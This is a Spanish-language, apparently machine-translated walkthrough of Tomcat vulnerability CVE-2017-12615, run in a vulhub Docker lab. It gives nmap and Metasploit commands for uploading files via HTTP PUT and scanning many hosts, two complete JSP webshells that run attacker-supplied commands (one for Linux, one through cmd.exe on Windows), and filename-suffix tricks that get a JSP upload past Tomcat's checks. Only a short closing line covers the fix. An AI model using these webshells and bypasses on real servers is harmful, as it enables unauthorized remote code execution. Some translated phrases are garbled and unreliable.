Tabla de contenido
Descripción de la vulnerabilidad
Se descubrió una vulnerabilidad en Tomcat. En esta vulnerabilidad, si el contexto del servlet está configurado como readonly = false y se permiten solicitudes HTTP PUT, el atacante puede cargar archivos JSP en el contexto e implementar la ejecución del código.
Versión de impacto
tomcat 7.0.0 a 7.0.79
Construcción de entornos de vulnerabilidad
Utilice vulhub para iniciar directamente el entorno con un entorno CVE-2017-12615 clave
Construcción del entorno de vulnerabilidad y inicio rápido de Docker
Después de descargar e instalar vulhub, ingrese al /tomcat/CVE-2017-12615
directorio y ejecute el siguiente comando
docker-compose up -d
Luego verifique la ip actual de la máquina virtual y visite el puerto 8080, aparecerá la página de tomcat
Detección de vulnerabilidades
Nota: Si usamos el protocolo put para crear un archivo de destino que ya existe, entonces este archivo se sobrescribirá. En combate real, no debes ponerlo en un índice o un archivo existente para probar.
nmap
mando:
#nmap -p <端口> <ip> --script http-put --script-args http-put.url="<上载到服务器的本地文件的完整路径>",http-put.file='<将文件存储到的远程目录和文件名>'
nmap -p 8080 192.168.234.138 --script http-put --script-args http-put.url="/test1.txt",http-put.file='E:\1.txt'
Creé un nuevo 1.txt en mi disco E, el contenido es:test put
El mensaje successfully created
indica que la carga es exitosa, accedemos manualmente
msf
msfconsole
search http_put
use auxiliary/scanner/http/http_put
set filedata 'test put111'
set filename test1.txt
set rhosts 192.168.234.138
set rport 8080
show options
Después de configurar, ejecutar, se solicitará un signo más para indicar que la carga se realizó correctamente.
Comprobación de lote puesta
- reglas de escaneo IP namp o use los parámetros -iL para la detección de lotes
La detección de lotes de msf no es muy estable. No puedo realizar la detección de lotes, pero una sola IP puede hacerlo. No se recomienda utilizar msf.
Explotar
Troyano Linux de una frase:
# cmd2.jsp
<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
Troyano de una frase de Windows:
#windowscmd.jsp
<%@ page import="java.util.*,java.io.*,java.net.*"%>
<HTML><BODY>
<FORM METHOD="POST" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "\n<BR>");
Process p = Runtime.getRuntime().exec("cmd.exe /c " + request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr); disr = dis.readLine(); }
}
%>
</pre>
</BODY></HTML>
El tomcat predeterminado tampoco permite que PUT cargue archivos jsp y jspx, porque el backend se usa org.apache.jasper.servlet.JspServlet
para procesar solicitudes de sufijo jsp o jspx, y no hay lógica para cargar PUT en JspServlet, y la implementación de código de PUT solo existe en DefaultServlet.
La causa raíz de esta vulnerabilidad es eludir la detección de Tomcat mediante la construcción de un nombre de sufijo especial y dejar que use la lógica de DefaultServlet para procesar la solicitud, cargando así el archivo jsp.
Actualmente existen tres métodos principales:
- evil.jsp% 20
- evil.jsp :: $ DATA
- evil.jsp /
También necesitamos modificar el nombre del archivo para omitir al cargar put
nmap -p 8080 192.168.234.138 --script http-put --script-args http-put.url="/cmd.jsp/",http-put.file='E:\1.txt'
Acceder a archivos troyanos:
Fortalecimiento de la vulnerabilidad
Modifique el archivo conf / web.xml en el directorio tomcat, busque readonly
el false
conjuntotrue